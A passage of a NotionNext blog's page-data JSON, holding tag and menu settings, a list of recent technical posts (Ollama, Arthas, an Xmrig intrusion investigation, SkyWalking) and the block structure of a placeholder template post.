wn","count":4},{"id":"50765df4-40d8-4098-a1b4-abf97b9ce1d2","name":"docker","color":"gray","count":1},{"id":"114a1313-d952-45e1-8bb5-8bf0b7d3c372","name":"自动化","color":"blue","count":2},{"id":"986f04d2-1cd1-4f47-84ba-2c692e069d93","name":"折腾","color":"purple","count":2},{"id":"88f6276a-b475-4a62-a2b6-438606516ec8","name":"git","color":"default","count":1},{"id":"11c42291-5274-44a7-94a3-f4af3382896b","name":"日志","color":"red","count":1},{"id":"e89abe8e-9228-48f8-8bb0-582d8343eb91","name":"微服务","color":"red","count":2},{"id":"c002f5d1-02d9-41b0-954e-6f6a5978b3e0","name":"spring","color":"purple","count":1},{"id":"9fb08037-26be-4513-a5b2-ada51bcfeb9c","name":"skywalking","color":"blue","count":1}],"categoryOptions":[{"id":"a4dcd33a-34a7-4c33-b9c2-92d3a5248f06","name":"知行合一","color":"pink","count":1},{"id":"8282ff59-f160-40c3-ab7e-6e970a0a64d5","name":"技术分享","color":"purple","count":6},{"id":"edd604ab-fda7-4d9b-964a-e7de536c05a0","name":"心情随笔","color":"orange","count":1}],"customNav":[{"icon":"fas fa-home","name":"主页","to":"//","target":"_self","show":true}],"customMenu":[{"id":"5263856d-837a-4f2d-bfc6-24cbff6c946c","icon":"fab fa-github","date":{"start_date":"2021-03-13"},"type":"Menu","slug":"https://github.com/BOTHSAVAGE","summary":"这是一个指向外部地址的单页","title":"Github","status":"Published","category":"","publishDate":1615593600000,"publishDay":"Mar 13, 2021","lastEditedDate":"2024-01-18T16:12:17.114Z","lastEditedDay":"Jan 18, 2024","fullWidth":false,"pageIcon":"","pageCover":"","pageCoverThumbnail":"","tagItems":[],"to":"https://github.com/BOTHSAVAGE","name":"Github","password":"","show":true,"target":"_blank"},{"id":"29e65d89-d04e-4ee3-9a9d-2f8856ed3055","icon":"fas fa-archive","date":{"start_date":"2023-03-23"},"type":"Menu","slug":"#","title":"往期整理","status":"Published","category":"","publishDate":1679529600000,"publishDay":"Mar 23, 2023","lastEditedDate":"2024-01-18T16:12:17.113Z","lastEditedDay":"Jan 18, 2024","fullWidth":false,"pageIcon":"","pageCover":"","pageCoverThumbnail":"","tagItems":[],"to":"#","name":"往期整理","password":"","show":true,"subMenus":[{"id":"d88da7cd-eebc-4c92-b9c3-53910376ab83","icon":"fas fa-clock-rotate-left","date":{"start_date":"2021-07-02"},"type":"SubMenu","slug":"/archive","title":"历史归档","status":"Published","category":"","publishDate":1625184000000,"publishDay":"Jul 2, 2021","lastEditedDate":"2024-01-18T16:12:17.115Z","lastEditedDay":"Jan 18, 2024","fullWidth":false,"pageIcon":"🗒️","pageCover":"","pageCoverThumbnail":"","tagItems":[],"to":"/archive","name":"历史归档","password":"","show":true},{"id":"7d039e15-c906-470d-b781-943032713368","icon":"fas fa-th","date":{"start_date":"2021-07-02"},"type":"SubMenu","slug":"/category","title":"文章分类","status":"Published","category":"","publishDate":1625184000000,"publishDay":"Jul 2, 2021","lastEditedDate":"2024-01-18T16:12:17.114Z","lastEditedDay":"Jan 18, 2024","fullWidth":false,"pageIcon":"🗒️","pageCover":"","pageCoverThumbnail":"","tagItems":[],"to":"/category","name":"文章分类","password":"","show":true},{"id":"e746c4ee-0327-4529-85ac-7059a10091d3","icon":"fas fa-tag","date":{"start_date":"2021-07-02"},"type":"SubMenu","slug":"/tag","title":"文章标签","status":"Published","category":"","publishDate":1625184000000,"publishDay":"Jul 2, 2021","lastEditedDate":"2024-01-18T16:12:17.115Z","lastEditedDay":"Jan 18, 2024","fullWidth":false,"pageIcon":"🗒️","pageCover":"","pageCoverThumbnail":"","tagItems":[],"to":"/tag","name":"文章标签","password":"","show":true}]}],"postCount":8,"latestPosts":[{"id":"e8fd9138-663d-415d-9684-24343fb3248f","date":{"start_date":"2024-03-25","date_format":"relative"},"type":"Post","category":"技术分享","slug":"article/240325-ollama","tags":["工具","推荐","折腾"],"summary":"m1 pro芯片+32g体验了五种大模型本地部署","title":"mac体验ollama本地大模型","status":"Published","publishDate":1711324800000,"publishDay":"Mar 25, 2024","lastEditedDate":"2024-03-26T05:49:00.447Z","lastEditedDay":"Mar 26, 2024","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://source.unsplash.com/random?t=e8fd9138-663d-415d-9684-24343fb3248f","pageCoverThumbnail":"https://source.unsplash.com/random?t=e8fd9138-663d-415d-9684-24343fb3248f","tagItems":[{"name":"工具","color":"pink"},{"name":"推荐","color":"red"},{"name":"折腾","color":"purple"}],"password":""},{"id":"e013510c-b3a7-4907-b4cd-118b118d30db","date":{"start_date":"2024-03-20","date_format":"relative"},"type":"Post","category":"技术分享","slug":"article/240320-arthas","tags":["工具","开发","推荐"],"summary":"Arthas在排查Java应用线上问题的时候有大用处,并且可以是热部署工具,这里我推荐几个我常用的方法","title":"Arthas简单使用备忘录","status":"Published","publishDate":1710892800000,"publishDay":"Mar 20, 2024","lastEditedDate":"2024-03-20T04:52:10.213Z","lastEditedDay":"Mar 20, 2024","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://source.unsplash.com/random?t=e013510c-b3a7-4907-b4cd-118b118d30db","pageCoverThumbnail":"https://source.unsplash.com/random?t=e013510c-b3a7-4907-b4cd-118b118d30db","tagItems":[{"name":"工具","color":"pink"},{"name":"开发","color":"pink"},{"name":"推荐","color":"red"}],"password":""},{"id":"7e13a286-a275-4f48-b9d0-416c9b1368ce","date":{"start_date":"2024-03-19","date_format":"relative"},"type":"Post","category":"技术分享","slug":"article/240319-xmrig","tags":["建站","推荐","开发"],"summary":"叮咚!阿里云提示你,你的服务器正在被攻击!","title":"Xmrig挖矿入侵服务器排查","status":"Published","publishDate":1710806400000,"publishDay":"Mar 19, 2024","lastEditedDate":"2024-03-19T17:15:42.884Z","lastEditedDay":"Mar 19, 2024","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://source.unsplash.com/random?t=7e13a286-a275-4f48-b9d0-416c9b1368ce","pageCoverThumbnail":"https://source.unsplash.com/random?t=7e13a286-a275-4f48-b9d0-416c9b1368ce","tagItems":[{"name":"建站","color":"brown"},{"name":"推荐","color":"red"},{"name":"开发","color":"pink"}],"password":""},{"id":"ce6b6618-a118-4ee9-b74c-33a848d0f0ed","date":{"time_zone":"Asia/Shanghai","start_date":"2024-01-19","start_time":"13:00"},"type":"Post","category":"技术分享","slug":"article/240119-notion","tags":["建站","推荐","工具","docker","自动化","折腾","git"],"summary":"之前一直使用GitPage+typora+hexo来做文章分享管理,奈何真的麻烦坚持不下去了。Notion是我一直在使用的笔记软件,为了更好的使用Notion我还去看了许多文章。现在Notion已经是我生活的一部分了。最近发现NotionNext,但需要Vercel部署,还需要自己映射域名。所以想着用xx.github.io域名,优雅又方便","title":"Notion文章自动同步GitPage","status":"Published","publishDate":1705622400000,"publishDay":"Jan 19, 2024","lastEditedDate":"2024-03-19T17:14:00.935Z","lastEditedDay":"Mar 19, 2024","fullWidth":false,"pageIcon":"📗","pageCover":"https://images.unsplash.com/photo-1511379938547-c1f69419868d?ixlib=rb-4.0.3&q=85&fm=jpg&crop=entropy&cs=srgb&t=ce6b6618-a118-4ee9-b74c-33a848d0f0ed","pageCoverThumbnail":"https://images.unsplash.com/photo-1511379938547-c1f69419868d?ixlib=rb-4.0.3&q=50&fm=webp&crop=entropy&cs=srgb&t=ce6b6618-a118-4ee9-b74c-33a848d0f0ed&width=800&fmt=webp","tagItems":[{"name":"建站","color":"brown"},{"name":"推荐","color":"red"},{"name":"工具","color":"pink"},{"name":"docker","color":"gray"},{"name":"自动化","color":"blue"},{"name":"折腾","color":"purple"},{"name":"git","color":"default"}],"password":""},{"id":"38e3f997-dad9-46b8-99bb-d3042488821f","date":{"start_date":"2024-01-24","date_format":"relative"},"type":"Post","category":"技术分享","slug":"article/240124-deploy","tags":["推荐","工具","自动化","微服务"],"summary":"微服务jar包越来越多,每次手动上线的时候都要运行一大堆命令,并且每个人备份的jar包名称目录都不一样。故写了一个脚本规定死流程,并且把脚本配置到环境变量做自动补全。","title":"Java部署脚本&重启备份检查&配置环境","status":"Published","publishDate":1706054400000,"publishDay":"Jan 24, 2024","lastEditedDate":"2024-01-24T07:18:46.139Z","lastEditedDay":"Jan 24, 2024","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://source.unsplash.com/random?t=38e3f997-dad9-46b8-99bb-d3042488821f","pageCoverThumbnail":"https://source.unsplash.com/random?t=38e3f997-dad9-46b8-99bb-d3042488821f","tagItems":[{"name":"推荐","color":"red"},{"name":"工具","color":"pink"},{"name":"自动化","color":"blue"},{"name":"微服务","color":"red"}],"password":""},{"id":"026c5c21-3604-4c0a-a13c-ccb9208e4815","date":{"start_date":"2024-01-21","date_format":"relative"},"type":"Post","category":"技术分享","slug":"article/240121-skywaking","tags":["推荐","开发","日志","微服务","spring","skywalking"],"summary":"一年半以前,公司就从单体应用逐步迁移到微服务管理。奈何业务绑定太深,一直在两边混合开发。由于迁移到微服务的进程完成了一大半了,之前在单体项目中打的链路追踪就不太好用了。随即想到了SkyWalking,随即发现了一个大坑,那就是在gateway组件中logback日志会丢失TraceId,网上搜了一圈都没有解决问题,我又跑到SkyWalking的issue中搜了一大圈,发现大佬以下回答,还是得自己想办法。","title":"解决SkyWalking在gateway中logback链路丢失","status":"Published","publishDate":1705795200000,"publishDay":"Jan 21, 2024","lastEditedDate":"2024-01-20T18:52:32.627Z","lastEditedDay":"Jan 20, 2024","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://source.unsplash.com/random?t=026c5c21-3604-4c0a-a13c-ccb9208e4815","pageCoverThumbnail":"https://source.unsplash.com/random?t=026c5c21-3604-4c0a-a13c-ccb9208e4815","tagItems":[{"name":"推荐","color":"red"},{"name":"开发","color":"pink"},{"name":"日志","color":"red"},{"name":"微服务","color":"red"},{"name":"spring","color":"purple"},{"name":"skywalking","color":"blue"}],"password":""}],"post":{"id":"d43cadd5-38cc-48ce-a44d-188a8215cd7d","date":{"start_date":"2021-07-02"},"type":"Post","category":"未发布","slug":"article/example-7","tags":["Python","健康"],"summary":"仅供列表展示、文章无内容;\n这里写文章的前言:\n一个简单的开头,简述这篇文章讨论的问题、目标、人物、背景是什么?并简述你给出的答案。","title":"空白文章7","status":"Invisible","publishDate":1625184000000,"publishDay":"Jul 2, 2021","lastEditedDate":"2024-01-19T02:19:57.241Z","lastEditedDay":"Jan 19, 2024","fullWidth":false,"pageIcon":"🗒️","pageCover":"","pageCoverThumbnail":"","tagItems":[{"name":"Python","color":"gray"},{"name":"健康","color":"pink"}],"password":"","blockMap":{"block":{"d43cadd5-38cc-48ce-a44d-188a8215cd7d":{"value":{"id":"d43cadd5-38cc-48ce-a44d-188a8215cd7d","version":7,"type":"page","content":["b2c580c4-ce96-432d-b118-a0ad20cbe1c5","deba1e59-6d47-4ada-a314-44559c4f6b0c","441bdeda-2261-415c-9b90-02c122c121e4","bf92f406-3a16-4412-9369-f5edb6003e29","1ddbb042-788f-4005-befc-3c30e63918e6","6fc73c2f-ca27-46c4-9e76-e8f767132e2b","d5803e5d-12ec-4b18-833b-e6822d98fa35","63c97746-0bd9-4d2f-8156-801620c97f5c","78957a63-8c78-4cad-8e88-ea846ae3923e","5410740b-7970-4e09-93dd-615a87d752b1","5cec45b0-794e-4344-812b-b0c8e4740cc9","ad8c852b-45ac-4cfd-a0f8-04e364cc9311","8999dbca-3606-4af4-8f6f-5581cd3e6113","6d026f65-ee53-4d6a-b31b-e7a374565243"],"format":{"page_font":"mono","page_icon":"🗒️","block_locked":false,"block_locked_by":"27074aef-7216-41ed-baef-d9b53addd870","copied_from_pointer":{"id":"683ddb23-90b4-4744-b09c-ddc4dd04ef79","table":"block","spaceId":"2a229231-539e-420a-9652-17ba8be4cd18"},"page_cover_position":0.5},"created_time":1705594337112,"last_edited_time":1705630797241,"parent_id":"3c6ddc29-47df-43f6-a375-de1c3a9cf466","parent_table":"collection","alive":true,"copied_from":"683ddb23-90b4-4744-b09c-ddc4dd04ef79","created_by_table":"notion_user","created_by_id":"e3bce58f-88e9-475b-8d52-370cf8e95e16","last_edited_by_table":"notion_user","last_edited_by_id":"e3bce58f-88e9-475b-8d52-370cf8e95e16","space_id":"eb3e1328-8f32-4ff5-8d18-8ea80020e175"},"role":"comment_only"},"87ff73a8-1273-4f5f-96c1-cd1becb07207":{"value":{"id":"87ff73a8-1273-4f5f-96c1-cd1becb07207","type":"collection_view_page","content":["50fa88a0-6936-488c-8abc-b558b6a7b0d6"],"view_ids":["8e40545c-4d1c-4299-8605-c04d7ab6872f","818d9fe2-a27d-40ec-b827-614939109ca4","ad494b39-a38c-415e-9221-325f0f9be280","58c6fb90-5030-4627-8bad-38b57c3253cd"],"collection_id":"3c6ddc29-47df-43f6-a375-de1c3a9cf466","format":{"block_locked":false,"block_locked_by":"27074aef-7216-41ed-baef-d9b53addd870","collection_pointer":{"id":"3c6ddc29-47df-43f6-a375-de1c3a9cf466","table":"collection","spaceId":"eb3e1328-8f32-4ff5-8d18-8ea80020e175"},"copied_from_pointer":{"id":"19c33d8c-a320-4635-ab97-ddf00a96c478","table":"block","spaceId":"2a229231-539e-420a-9652-17ba8be4cd18"},"page_cover_position":0.6},"permissions":[{"role":"editor","type":"user_permission","user_id":"e3bce58f-88e9-475b-8d52-370cf8e95e16"},{"role":"comment_only","type":"public_permission","added_timestamp":1705594424869,"allow_duplicate":false,"allow_search_engine_indexing":true}],"created_time":1705594337173,"last_edited_time":1711431614088,"parent_id":"eb3e1328-8f32-4ff5-8d18-8ea80020e175","parent_table":"space","alive":true,"copied_from":"19c33d8c-a320-4635-ab97-ddf00a96c478"}},"b2c580c4-ce96-432d-b118-a0ad20cbe1c5":{"value":{"id":"b2c580c4-ce96-432d-b118-a0ad20cbe1c5","type":"callout","properties":{"title":[["这里写文章的前言:\n一个简单的开头,简述这篇文章讨论的问题、目标、人物、背景是什么?并简述你给出的答案。"]]},"content":["38d0d577-7b83-4df4-ba9e-c0d0010765da"],"format":{"page_icon":"😀","block_color":"gray_background","copied_from_pointer":{"id":"043a878a-3031-4020-b1b3-a28ec26edfb4","table":"block","spaceId":"2a229231-539e-420a-9652-17ba8be4cd18"}},"created_time":1705594337123,"last_edited_time":1705594337123,"parent_id":"d43cadd5-38cc-48ce-a44d-188a8215cd7d","parent_table":"block","alive":true,"copied_from":"043a878a-3031-4020-b1b3-a28ec26edfb4"}},"38d0d577-7b83-4df4-ba9e-c0d0010765da":{"value":{"id":"38d0d577-7b83-4df4-ba9e-c0d0010765da","type":"text","properties":{"title":[["可以说说你的故事:阻碍、努力、结果成果,意外与转折。"]]},"format":{"copied_from_pointer":{"id":"fb4746a4-0397-4efc-b78b-01981e9364de","table":"block","spaceId":"2a229231-539e-420a-9652-17ba8be4cd18"}},"created_time":1705594337145,"last_edited_time":1705594337145,"parent_id":"b2c580c4-ce96-432d-b118-a0ad20cbe1c5","parent_table":"block","alive":true,"copied_from":"fb4746a4-0397-4efc-b78b-01981e9364de"}},"deba1e59-6d47-4ada-a314-44559c4f6b0c":{"value":{"id":"deba1e59-6d47-4ada-a314-44559c4f6b0c","type":"text","format":{"copied_from_pointer":{"id":"54458e9f-4300-4058-92eb-d7419f4f3be0","table":"block","spaceId":"2a229231-539e-420a-9652-17ba8be4cd18"}},"created_time":1705594337124,"last_edited_time":1705594337124,"parent_id":"d43cadd5-38cc-48ce-a44d-188a8215cd7d","parent_table":"block","alive":true,"copied_from":"54458e9f-4300-4058-92eb-d7419f4f3be0"}},"441bdeda-2261-415c-9b90-02c122c121e4":{"value":{"id":"441bdeda-2261-415c-9b90-02c122c121e4","type":"header","properties":{"title":[["📝 主旨内容"]]},"format":{"copied_from_pointer":{"id":"5c09ccea-bd54-4059-88a8-ea3ad47cfc01","table":"block","spaceId":"2a229231-539e-420a-9652-17ba8be4cd18"}},"created_time":1705594337124,"last_edited_time":1705594337124,"parent_id":"d43cadd5-38cc-48ce-a44d-188a8215cd7d","parent_table":"block","alive":true,"copied_from":"5c09ccea-bd54-4059-88a8-ea3ad47cfc01"}},"bf92f406-3a16-4412-9369-f5edb6003e29":{"value":{"id":"bf92f406-3a16-4412-9369-f5edb6003e29","type":"sub_header","properties":{"title":[["观点1"]]},"format":{"copied_from_pointer":{"id":"ab2df020-ed00-4620-9909-69d97e0ad40d","table":"block","spaceId":"2a229231-539e-420a-9652-17ba8be4cd18"}},"created_time":1705594337124,"last_edited_time":1705594337124,"parent_id":"d43cadd5-38cc-48ce-a44d-188a8215cd7d","parent_table":"block","alive":true,"copied_from":"ab2df020-ed00-4620-9909-69d97e0ad40d"}},"1ddbb042-788f-4005-befc-3c30e63918e6":{"value":{"id":"1ddbb042-788f-4005-befc-3c30e63918e6","type":"quote","properties":{"title":[["引用的话语"]]},"format":{"copied_from_pointer":{"id":"dbc40871-b732-4cc6-b1dc-b38d3c928707","table":"block","spaceId":"2a229231-539e-420a-9652-17ba8be4cd18"}},"created_time":1705594337124,"last_edited_time":1705594337124,"parent_id":"d43cadd5-38cc-48ce-a44d-188a8215cd7d","parent_table":"block","alive":true,"copied_from":"dbc40871-b732-4cc6-b1dc-b38d3c928707"}},"6fc73c2f-ca27-46c4-9e76-e8f767132e2b":{"value":{"id":"6fc73c2f-ca27-46c4-9e76-e8f767132e2b","type":"sub_header","properties":{"title":[["观点2"]]},"format":{"copied_from_pointer":{"id":"83e7d826-96d1-4309-85cc-7378332597e1","table":"block","spaceId":"2a229231-539e-420a-9652-17ba8be4cd18"}},"created_time":1705594337124,"last_edited_time":1705594337124,"parent_id":"d43cadd5-38cc-48ce-a44d-188a8215cd7d","parent_table":"block","alive":true,"copied_from":"83e7d826-96d1-4309-85cc-7378332597e1"}},"d5803e5d-12ec-4b18-833b-e6822d98fa35":{"value":{"id":"d5803e5d-12ec-4b18-833b-e6822d98fa35","type":"quote","properties":{"title":[["引用的话语"]]},"format":{"copied_from_pointer":{"id":"2d5d143c-ff2a-4ded-851e-a7fa40750f69","table":"block","spaceId":"2a229231-539e-420a-9652-17ba8be4cd18"}},"created_time":1705594337123,"last_edited_time":1705594337123,"parent_id":"d43cadd5-38cc-48ce-a44d-188a8215cd7d","parent_table":"block","alive":true,"copied_from":"2d5d143c-ff2a-4ded-851e-a7fa40750f69"}},"63c97746-0bd9-4d2f-8156-801620c97f5c":{"value":{"id":"63c97746-0bd9-4d2f-8156-801620c97f5c","type":"header","properties":{"title":[["🤗 总结归纳"]]},"format":{"copied_from_pointer":{"id":"f14c85c5-75ad-4c1d-b8f8-4be24384f916","table":"block","spaceId":"2a229231-539e-420a-9652-17ba8be4cd18"}},"created_time":1705594337124,"last_edited_time":1705594337124,"parent_id":"d43cadd5-38cc-48ce-a44d-188a8215cd7d","parent_table":"block","alive":true,"copied_from":"f14c85c5-75ad-4c1d-b8f8-4be24384f916"}},"78957a63-8c78-4cad-8e88-ea846ae3923e":{"value":{"id":"78957a63-8c78-4cad-8e88-ea846ae3923e","type":"text","properties":{"title":[["总结文章的内容"]]},"format":{"copied_from_pointer":{"id":"a3776539-6d71-436a-bb89-fb5acc3f733e","table":"block","spaceId":"2a229231-539e-420a-9652-17ba8be4cd18"}},"created_time":1705594337124,"last_edited_time":1705594337124,"parent_id":"d43cadd5-38cc-48ce-a44d-188a8215cd7d","parent_table":"block","alive":true,"copied_from":"a3776539-6d71-436a-bb89-fb5acc3f733e"}},"5410740b-7970-4e09-93dd-615a87d752b1":{"value":{"id":"5410740b-7970-4e09-93dd-615a87d752b1","type":"header","properties":{"title":[["📎 参考文章"]]},"format":{"copied_from_pointer":{"id":"997d7b25-32fd-421f-a3c5-0d0fb0c4d944","table":"block","spaceId":"2a229231-539e-420a-9652-17ba8be4cd18"}},"created_time":1705594337124,"last_edited_time":1705594337124,"parent_id":"d43cadd5-38cc-48ce-a44d-188a8215cd7d","parent_table":"block","alive":true,"copied_from":"997d7b25-32fd-421f-a3c5-0d0fb0c4d944"}},"5cec45b0-794e-4344-812b-b0c8e4740cc9":{"value":{"id":"5cec45b0-794e-4344-812b-b0c8e4740cc9","type":"bulleted_list","properties":{"title":[["一些引用"]]},"format":{"copied_from_pointer":{"id":"048841e3-b2d7-49f0-8266-00c984d20b17","table":"block","spaceId":"2a229231-539e-420a-9652-17ba8be4cd18"}},"created_time":1705594337123,"last_edited_time":1705594337123,"parent_id":"d43cadd5-38cc-48ce-a44d-188a8215cd7d","parent_table":"block","alive":true,"copied_from":"048841e3-b2d7-49f0-8266-00c984d20b17"}},"ad8c852b-45ac-4cfd-a0f8-04e364cc9311":{"value":{"id":"ad8c852b-45ac-4cfd-a0f8-04e364cc9311","type":"bulleted_list","properties":{"title":[["引用文章"]]},"format":{"copied_from_pointer":{"id":"3adfa1f3-6400-4eaf-a466-63c6185b31ad","table":"block","spaceId":"2a229231-539e-420a-9652-17ba8be4cd18"}},"created_time":1705594337123,"last_edited_time":1705594337123,"parent_id":"d43cadd5-38cc-48ce-a44d-188a8215cd7d","parent_table":"block","alive":true,"copied_from":"3adfa1f3-6400-4eaf-a466-63c6185b31ad"}},"8999dbca-3606-4af4-8f6f-5581cd3e6113":{"value":{"id":"8999dbca-3606-4af4-8f6f-5581cd3e6113","type":"text","format":{"copied_from_pointer":{"id":"a881a6bd-d64c-4a11-8cd2-9c0d6ff2eb19","table":"block","spaceId":"2a229231-539e-420a-9652-17ba8be4cd18"}},"created_time":1705594337124,"last_edited_time":1705594337124,"parent_id":"d43cadd5-38cc-48ce-a44d-188a8215cd7d","parent_table":"block","alive":true,"copied_from":"a881a6bd-d64c-4a11-8cd2-9c0d6ff2eb19"}},"6d026f65-ee53-4d6a-b31b-e7a374565243":{"value":{"id":"6d026f65-ee53-4d6a-b31b-e7a374565243","type":"callout","properties":{"title":[["有关Notion安装或者使用上的问题,欢迎您在底部评论区留言,一起交流~"]]},"format":{"page_icon":"💡","block_color":"gray_background","copied_from_pointer":{"id":"4d158723-15c6-449e-becb-ead51335bb31","table":"block","spaceId":"2a229231-539e-420a-9652-17ba8be4cd18"}},"created_time":1705594337124,"last_edited_time":1705594337124,"parent_id":"d43cadd5-38cc-48ce-a44d-188a8215cd7d","parent_table":"block","alive":true,"copied_from":"4d158723-15c6-449e-becb-ead51335bb31"}}},"collection":{"3c6ddc29-47df-43f6-a375-de1c3a9cf466":{"value":{"id":"3c6ddc29-47df-43f6-a375-de1c3a9cf466","version":13,"name":[["Both Savage"]],"description":[["一个NotionNext搭建的博客"]],"schema":{"@NcA":{"name":"password","type":"text"},"Dj]h":{"name":"icon","type":"text"},"NX\\Q":{"name":"date","type":"date","date_format":"YYYY/MM/DD"},"`gQ~":{"name":"type","type":"select","options":[{"id":"5aff2f95-fd1e-489b-8840-bf10bc9519cb","color":"purple","value":"Post"},{"id":"374d2bc6-a144-4832-8ca4-474aaae0ea1f","color":"orange","value":"Page"},{"id":"95b7fea5-98b3-476e-892f-79e8f36d0633","color":"brown","value":"Notice"},{"id":"2287395b-9f64-4852-b46f-ff3df4b4acef","color":"yellow","value":"Menu"},{"id":"50fefd65-c28e-4806-9183-aa12995f11f3","color":"pink","value":"SubMenu"},{"id":"b945f57d-dbcc-4603-9fab-5cfe447aad1b","color":"red","value":"CONFIG"}]},"bB{M":{"name":"category","type":"select","options":[{"id":"a4dcd33a-34a7-4c33-b9c2-92d3a5248f06","color":"pink","value":"知行合一"},{"id":"8282ff59-f160-40c3-ab7e-6e970a0a64d5","color":"purple","value":"技术分享"},{"id":"edd604ab-fda7-4d9b-964a-e7de536c05a0","color":"orange","value":"心情随笔"},{"id":"9b3140e8-d1e6-414f-b86f-04f85b811596","color":"red","value":"未发布"}]},"d]hq":{"name":"slug","type":"text"},"sD^m":{"name":"tags","type":"multi_select","options":[{"id":"d9f66761-0396-4e80-be5c-2ab6c7f8ba86","color":"red","value":"推荐"},{"id":"ee932bde-0023-446f-9bb4-17d2022121c9","color":"brown","value":"文字"},{"id":"438bae9c-df52-4fb0-8288-791c5ee8625c","color":"yellow","value":"思考"},{"id":"4ae52b3d-6ee9-4af5-9b79-0b7644adf259","color":"orange","value":"新闻"},{"id":"25b1074b-a3fa-49f5-82cd-a37d85c5666f","color":"pink","value":"工具"},{"id":"1e90f00e-8f1b-4665-8e69-92f0791bde56","color":"pink","value":"开发"},{"id":"2382b30f-9881-4a8b-ae7f-2d34979c4fb9","color":"brown","value":"建站"},{"id":"569a8035-8738-40e8-a317-d6a6375f0b35","color":"green","value":"金钱"},{"id":"b39c0d81-6d40-4474-83fe-d8f44746a2d1","color":"pink","value":"健康"},{"id":"50765df4-40d8-4098-a1b4-abf97b9ce1d2","color":"gray","value":"docker"},{"id":"114a1313-d952-45e1-8bb5-8bf0b7d3c372","color":"blue","value":"自动化"},{"id":"986f04d2-1cd1-4f47-84ba-2c692e069d93","color":"purple","value":"折腾"},{"id":"88f6276a-b475-4a62-a2b6-438606516ec8","color":"default","value":"git"},{"id":"11c42291-5274-44a7-94a3-f4af3382896b","color":"red","value":"日志"},{"id":"e89abe8e-9228-48f8-8bb0-582d8343eb91","color":"red","value":"微服务"},{"id":"c002f5d1-02d9-41b0-954e-6f6a5978b3e0","color":"purple","value":"spring"},{"id":"9fb08037-26be-4513-a5b2-ada51bcfeb9c","color":"blue","value":"skywalking"}]},"wz|S":{"name":"summary","type":"text"},"title":{"name":"title","type":"title"},"f211bdc0-ee00-4186-9a7d-f68c055ec2ee":{"name":"status","type":"select","options":[{"id":"7abc61d4-b405-480d-b699-12588755fa65","color":"red","value":"Published"},{"id":"d1242312-e0a8-456d-b8f0-6e998e2c4fb2","color":"orange","value":"Invisible"},{"id":"41d5f5c6-b53c-42bc-8e0f-fc9402048480","color":"yellow","value":"Draft"}]}},"icon":"https://prod-files-secure.s3.us-west-2.amazonaws.com/eb3e1328-8f32-4ff5-8d18-8ea80020e175/c5ebdc5a-c3fd-403e-906b-17d64db6d01f/favicon.ico","cover":"/images/page-cover/nasa_robert_stewart_spacewalk_2.jpg","format":{"copied_from_pointer":{"id":"9c953404-2685-4385-a433-b3ca351ebfbb","table":"collection","spaceId":"2a229231-539e-420a-9652-17ba8be4cd18"},"property_visibility":[{"property":"`gQ~","visibility":"show"},{"property":"f211bdc0-ee00-4186-9a7d-f68c055ec2ee","visibility":"show"},{"property":"NX\\Q","visibility":"show"},{"property":"d]hq","visibility":"show"},{"property":"wz|S","visibility":"show"},{"property":"sD^m","visibility":"show"},{"property":"bB{M","visibility":"show"},{"property":"Dj]h","visibility":"hide_if_empty"},{"property":"uHoD","visibility":"show"},{"property":"kiCR","visibility":"hide"}],"collection_cover_position":0.3,"collection_page_properties":[{"visible":false,"property":"`gQ~"},{"visible":false,"property":"f211bdc0-ee00-4186-9a7d-f68c055ec2ee"},{"visible":false,"property":"NX\\Q"},{"visible":false,"property":"d]hq"},{"visible":false,"property":"wz|S"},{"visible":false,"property":"sD^m"},{"visible":true,"property":"bB{M"},{"visible":true,"property":"Dj]h"},{"visible":true,"property":"@NcA"},{"visible":true,"property":"ckw_"}],"collection_default_template":{"template_page_id":"77f4d759-8660-4888-8d35-4214be459ba1"}},"parent_id":"87ff73a8-1273-4f5f-96c1-cd1becb07207","parent_table":"block","alive":true,"file_ids":["6cf3dc36-2f98-4f0e-9679-1bdbb1485129","5520bd92-e709-4c0d-ad58-06923f23f7e9","624d393a-62e3-4464-a1bf-1c79ecd4fbda","d52f6766-3e32-4c3d-8529-46e1f214360f","abe3a0aa-2aff-4274-81bb-c2443d4ef9e2","a2a32795-101d-46aa-a7f6-eb35b8750166","ebb540b3-6c46-422b-b2ed-f834e98fa189","c5ebdc5a-c3fd-403e-906b-17d64db6d01f"],"copied_from":"9c953404-2685-4385-a433-b3ca351ebfbb","template_pages":["77f4d759-8660-4888-8d35-4214be459ba1"],"migrated":true,"space_id":"eb3e1328-8f32-4ff5-8d18-8ea80020e175"},"role":"comment_only"}},"space":{},"collection_view":{"8e40545c-4d1c-4299-8605-c04d7ab6872f":{"value":{"id":"8e40545c-4d1c-4299-8605-c04d7ab6872f","version":18,"type":"table","name":"Table","format":{"table_properties":[{"width":219,"visible":true,"property":"title"},{"width":222,"visible":true,"property":"wz|S"},{"width":100,"visible":true,"property":"`gQ~"},{"width":116,"visible":true,"property":"bB{M"},{"width":142,"visible":true,"property":"sD^m"},{"width":100,"visible":true,"property":"f211bdc0-ee00-4186-9a7d-f68c055ec2ee"},{"width":155,"visible":true,"property":"d]hq"},{"width":111,"visible":true,"property":"NX\\Q"},{"width":100,"visible":true,"property":"@NcA"},{"width":117,"visible":true,"property":"Dj]h"}],"table_frozen_column_index":-1,"collection_view_default_template":{"template_page_id":"77f4d759-8660-4888-8d35-4214be459ba1"}},"parent_id":"87ff73a8-1273-4f5f-96c1-cd1becb07207","parent_table":"block","alive":true,"page_sort":["cc459e5b-0f15-4a0c-83db-bb6bf2001aa3","a9bfecc8-9761-4987-9aca-af79d4ebbd0c","7aa40ad8-1e69-4d56-b245-d135d3101cec","e4eefa7d-e2f2-44ed-83f6-fd6951d50900","0f9b7a0d-ad15-4ece-8a8b-948d96b50ff7","58a216ce-4d8d-4b60-906c-6097c5fd8d41","b824f35b-aee9-4a22-81c9-d44b65f99f43","ba565c08-0d2f-46cb-9fcb-5eeface44dfb","560c76dd-c69f-429b-827d-7974407bb23f","0533a861-81cc-40fa-8ab8-5be721800b86","3578fa31-ea0a-4e07-82dc-28704e0dc685","f2625c60-ca69-493b-858c-bf38979f468c","96b14e20-e592-42f6-b7d2-357f4693f18c","fe8fafec-6d1b-4fbb-8a7a-fb079a6bb8e4","9345db3a-b8bd-4e02-b296-9734958eddb6","26e8ddc4-10b4-4765-a96d-e87290556164","840f0871-b58b-428d-8a28-0861947974b4","5787bc4f-06a4-4158-a27f-6c81fb9b1efe","e1bff221-486f-42c8-9cf3-6379f83f351